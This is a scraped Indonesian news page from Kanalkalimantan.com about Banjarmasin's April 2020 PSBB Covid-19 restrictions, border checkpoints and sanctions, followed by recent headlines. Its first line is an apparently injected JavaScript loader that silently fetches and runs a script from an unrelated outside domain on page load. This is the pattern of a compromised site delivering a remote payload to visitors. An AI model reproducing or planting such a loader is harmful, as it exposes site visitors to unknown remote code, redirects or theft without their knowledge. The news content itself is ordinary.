(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

PSBB Disetujui, Perbatasan Kota Banjarmasin Dijaga Ketat dan Sanksi Bagi yang Melanggar


KANALKALIMANTAN.COM, BANJARMASIN – Pengajuan pembatasan sosial berskala besar (PSBB) di Kota Banjarmasin akhirnya disetujui oleh Menkes RI dr. Terawan Agus Putranto, melalui Keputusan Menkes RI Nomor HK.01.07/MENKES/262/2020. Sebagai konsekuensinya, seluruh perbatasan ibu kota Provinsi Kalsel ini diberi pos penjagaan.

Lalu, di mana saja tempat pos jaga selama PSBB diberlakukan? “Seluruh kota, jadi tidak per kecamatan ataupun kelurahan. Iya, semua perbatasan harus kita berlakukan,” kata Juru Bicara Tim Gugus Tugas Pencegahan Penanganan dan Pengendalian (P3) Covid-19 Kota Banjarmasin Dr. Machli Riyadi, Minggu (19/4/2020) malam.

Nantinya, untuk penjagaan sendiri akan dibentuk tim khusus yang ditunjuk oleh wali kota. Di samping itu, peranan Polresta Banjarmasin, Kodim 1007 Banjarmasin dan Satpol PP Kota Banjarmasin juga diperlukan selama pemberlakukan PSBB.

“Tentu lebih dominan untuk menjaga di jalan raya. Sehingga kita mengimbau kepada warga masyarakat agar lebih memahami kebijakan di Kota Banjarmasin ini,” lugasnya.


Ia menjelaskan, perbedaan antara PSBB dengan surat edaran ataupun surat imbauan yang telah diterbitkan sebelumnya terletak pada penerapan sanksi. Ya, selama PSBB akan diberikan sanksi kepada warga yang tidak mematuhi PSBB.

Machli berharap masyarakat Kota Banjarmasin betul-betul melaksanakan dan mentaati apa yang menjadi ketetapan ini. Seperti tetap berada di rumah saja dan menggunakan masker, dan betul-betul menerapkan pola hidup bersih dan sehat (PHBS).

“Dengan tidak ke luar rumah kalau urusan yang tidak penting sekali. Misalnya membawa anak ke dokter atau mencari obat, ke apotek atau pasar itu masih boleh. Pasar masih boleh buka tetapi kewajiban social distancing itu menjadi keharusan. Kalau melanggar ya ada sanksi, begitu juga tidak pakai masker juga ada sanksi,” pungkasnya. (Kanalkalimantan.com/fikri)

 


Desy Arfianty

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

47 menit ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

3 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

6 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

10 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.